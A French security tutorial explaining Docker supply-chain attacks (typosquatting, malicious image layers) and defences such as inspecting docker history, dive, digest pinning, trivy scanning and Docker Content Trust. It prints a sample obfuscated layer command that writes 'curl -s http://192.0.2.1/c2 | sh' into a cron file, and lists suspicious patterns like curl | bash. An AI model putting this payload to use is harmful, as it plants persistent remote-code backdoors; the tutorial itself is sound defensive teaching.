Aller au contenu

Docker : attaques par la chaîne d'approvisionnement

Télécharger une image Docker depuis un registre public, c’est exécuter du code arbitraire sur sa machine. Les couches qui composent l’image contiennent des commandes shell qui se sont exécutées au moment du build. Si une de ces couches est malveillante, son contenu tourne dans l’infrastructure sans que le docker run ne le révèle.

Docker Hub héberge des millions d’images publiques. Toute personne disposant d’un compte peut en publier. Deux vecteurs principaux exposent les utilisateurs à des images corrompues.

Le typosquatting consiste à publier une image sous un nom proche d’une image légitime, en misant sur une faute de frappe.

nginx ← image officielle
ngnix ← typosquat potentiel
nging ← typosquat potentiel
nginx-latest ← nom ambigu, pas officiel

Des images typosquattées ont été détectées sur Docker Hub avec des milliers de téléchargements avant leur suppression. Les noms ciblés sont ceux des images les plus populaires : python, node, ubuntu, alpine, postgres, redis.

Une image peut être légitime à sa création et devenir malveillante plus tard, si le compte du mainteneur est compromis ou si le dépôt source est altéré. Utiliser une image sans épingler sa version par digest expose à ce risque.

Une image Docker est une pile de couches (layers). Chaque instruction RUN dans un Dockerfile crée une couche qui contient le résultat de la commande exécutée.

FROM ubuntu:22.04
RUN apt-get update && apt-get install -y curl # layer 1
RUN curl -s https://exemple.com/app.tar.gz | tar -xz # layer 2
RUN ./app/install.sh # layer 3

À l’usage, seul le résultat final est visible. Les commandes qui ont produit chaque layer ne s’affichent pas dans le terminal lors du docker run.

Des images malveillantes ont été publiées avec des layers contenant des payloads encodés en base64. Le pattern récurrent ressemble à ceci dans le Dockerfile source reconstruit :

Fenêtre de terminal
/bin/sh -c echo $(echo "Y3VybCAtcyBodHRwOi8vMTkyLjAuMi4xL2MyIHwgc2g=" | base64 -d) >> /etc/cron.d/jobs

La commande décode une chaîne base64 et écrit le résultat dans un fichier. Le contenu décodé peut être :

  • un script shell exécuté au démarrage du conteneur
  • une entrée cron qui contacte un serveur distant à intervalles réguliers
  • un backdoor ajouté dans /etc/profile.d/ ou un fichier de configuration système
  • un binaire écrit dans un répertoire accessible si l’image est destinée à un serveur

L’encodage base64 sert à rendre le payload illisible lors d’une inspection rapide des commandes dans docker history.

Fenêtre de terminal
echo "Y3VybCAtcyBodHRwOi8vMTkyLjAuMi4xL2MyIHwgc2g=" | base64 -d

Résultat :

curl -s http://192.0.2.1/c2 | sh

Une commande qui télécharge et exécute un script depuis un serveur de commande et contrôle. L’adresse 192.0.2.1 est réservée à la documentation par la RFC 5737 (TEST-NET-1) ; en contexte réel, elle pointe vers l’infrastructure de l’attaquant. Une fois écrite dans /etc/cron.d/jobs, cette ligne s’exécute à intervalles réguliers et maintient un accès persistant à la machine.

docker history liste toutes les couches d’une image avec les commandes qui les ont produites :

Fenêtre de terminal
docker history --no-trunc nom-image:tag

L’option --no-trunc affiche les commandes complètes sans troncature. Sans elle, les commandes longues sont coupées et les payloads encodés ne sont pas lisibles.

IMAGE CREATED CREATED BY SIZE
a1b2c3d4e5f6 2 days ago /bin/sh -c echo $(echo "Y3Vy..." | base64 -d) 0B
f6e5d4c3b2a1 2 days ago /bin/sh -c apt-get install -y nginx 45MB

Toute commande contenant base64 -d, eval, curl | bash, ou wget -O- | sh mérite une inspection.

dive est un outil qui permet de naviguer dans chaque layer d’une image et d’inspecter les fichiers ajoutés, modifiés ou supprimés :

Fenêtre de terminal
# Installation
wget https://github.com/wagoodman/dive/releases/download/v0.12.0/dive_0.12.0_linux_amd64.deb
sudo dpkg -i dive_0.12.0_linux_amd64.deb
# Analyse d'une image
dive nom-image:tag

L’interface affiche layer par layer les modifications du système de fichiers. Un fichier ajouté dans /etc/cron.d/, /etc/profile.d/, ou un répertoire applicatif sans raison apparente est un indicateur à investiguer.

Une image Docker est une archive tar. Elle peut être exportée et inspectée sans l’exécuter :

Fenêtre de terminal
# Sauvegarder l'image en archive
docker save nom-image:tag -o image.tar
# Extraire l'archive
mkdir image_inspection && tar -xf image.tar -C image_inspection/
# Lister les layers
ls image_inspection/
# blobs/ index.json manifest.json oci-layout
# Chaque layer est lui-même une archive tar
tar -tf image_inspection/blobs/sha256/<hash_layer>

Cette approche permet d’examiner le contenu de chaque couche sans démarrer un conteneur.

Une fois une commande suspecte repérée dans docker history, extraire et décoder le payload :

Fenêtre de terminal
# Décoder directement
echo "Y3VybCAtcyBodHRwOi8vMTkyLjAuMi4xL2MyIHwgc2g=" | base64 -d
# Si la chaîne est longue, l'écrire dans un fichier d'abord
echo "Y3Vy..." > payload.b64
base64 -d payload.b64 > payload_decoded
file payload_decoded
cat payload_decoded

Docker Hub distingue plusieurs niveaux de confiance :

Indicateur Signification
Docker Official Image Maintenu par Docker, audité régulièrement
Verified Publisher Éditeur vérifié par Docker (entreprise identifiée)
Sponsored OSS Projet open source sponsorisé
Aucun badge Image communautaire sans garantie

Préférer systématiquement les images officielles ou celles des éditeurs vérifiés.

Un tag comme nginx:latest pointe vers un contenu qui peut changer. Le digest SHA256 identifie une version immuable :

Fenêtre de terminal
# Obtenir le digest d'une image
docker inspect --format='{{index .RepoDigests 0}}' nginx:latest
# nginx@sha256:a484819eb60211f5299034ac80f6a681b06f89e65866ce91f356ed7c72af059c
# Utiliser le digest dans le Dockerfile
FROM nginx@sha256:a484819eb60211f5299034ac80f6a681b06f89e65866ce91f356ed7c72af059c

Avec un digest, l’image téléchargée est identique à celle validée, quelle que soit la date du pull.

trivy inspecte les CVE et détecte certains patterns malveillants dans les images :

Fenêtre de terminal
# Installation
sudo apt-get install trivy
# Scanner une image
trivy image nom-image:tag
# Scanner avec sortie JSON pour intégration CI
trivy image --format json -o rapport.json nom-image:tag

Dans un pipeline GitHub Actions :

- name: Scanner l'image
uses: aquasecurity/trivy-action@master
with:
image-ref: nom-image:tag
format: table
exit-code: 1
severity: HIGH,CRITICAL

Le pipeline échoue si une vulnérabilité critique est détectée, ce qui bloque le déploiement.

docker-compose.yml référence souvent plusieurs images sans épingler les versions :

services:
web:
image: nginx:latest
db:
image: postgres:latest
cache:
image: redis

Chaque docker compose pull peut télécharger une version différente. La version épinglée par digest garantit la reproductibilité :

services:
web:
image: nginx@sha256:a484819eb60211f5299034ac80f6a681b06f89e65866ce91f356ed7c72af059c
db:
image: postgres@sha256:b94de8e1e...
  • Utiliser uniquement des images officielles ou Verified Publisher pour les briques de base
  • Épingler les images par digest dans les environnements de production
  • Inspecter docker history --no-trunc sur toute image introduite dans l’infrastructure
  • Construire ses propres images de base à partir d’images officielles plutôt que d’hériter d’images communautaires inconnues
  • Intégrer un scanner d’images (trivy, Snyk, Grype) dans le pipeline CI/CD
  • Activer Docker Content Trust pour forcer la vérification des signatures :
Fenêtre de terminal
export DOCKER_CONTENT_TRUST=1
docker pull nom-image:tag

Chaque docker pull exécute potentiellement du code qui s’est lancé au moment du build de l’image. Un layer malveillant peut écrire des fichiers, installer des crons, ou ouvrir des connexions sortantes, sans que rien n’apparaisse dans le docker run. Inspecter docker history --no-trunc et décoder tout payload base64 avant d’exécuter une image inconnue prend quelques minutes et évite d’introduire une backdoor dans l’infrastructure.